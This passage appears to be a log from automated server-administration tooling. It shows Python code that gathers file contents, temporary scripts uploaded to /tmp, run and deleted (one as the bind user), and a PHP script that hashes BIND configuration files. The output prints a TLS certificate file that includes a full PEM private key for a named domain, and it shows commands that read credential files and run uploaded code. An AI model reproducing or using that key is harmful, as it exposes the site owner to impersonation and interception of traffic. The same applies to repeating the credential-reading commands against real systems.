if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:23:38:
chmod 755 /tmp/pkp701930; /tmp/pkp701930; rm /tmp/pkp701930
2026-01-03 19:23:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt 5381
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:23:38: Establishing a connection
2026-01-03 19:23:38:
PUT: /tmp/pkp965254
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:23:38:
runuser -l bind -s /bin/bash -c '/tmp/pkp965254; rm /tmp/pkp965254'
2026-01-03 19:23:38:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
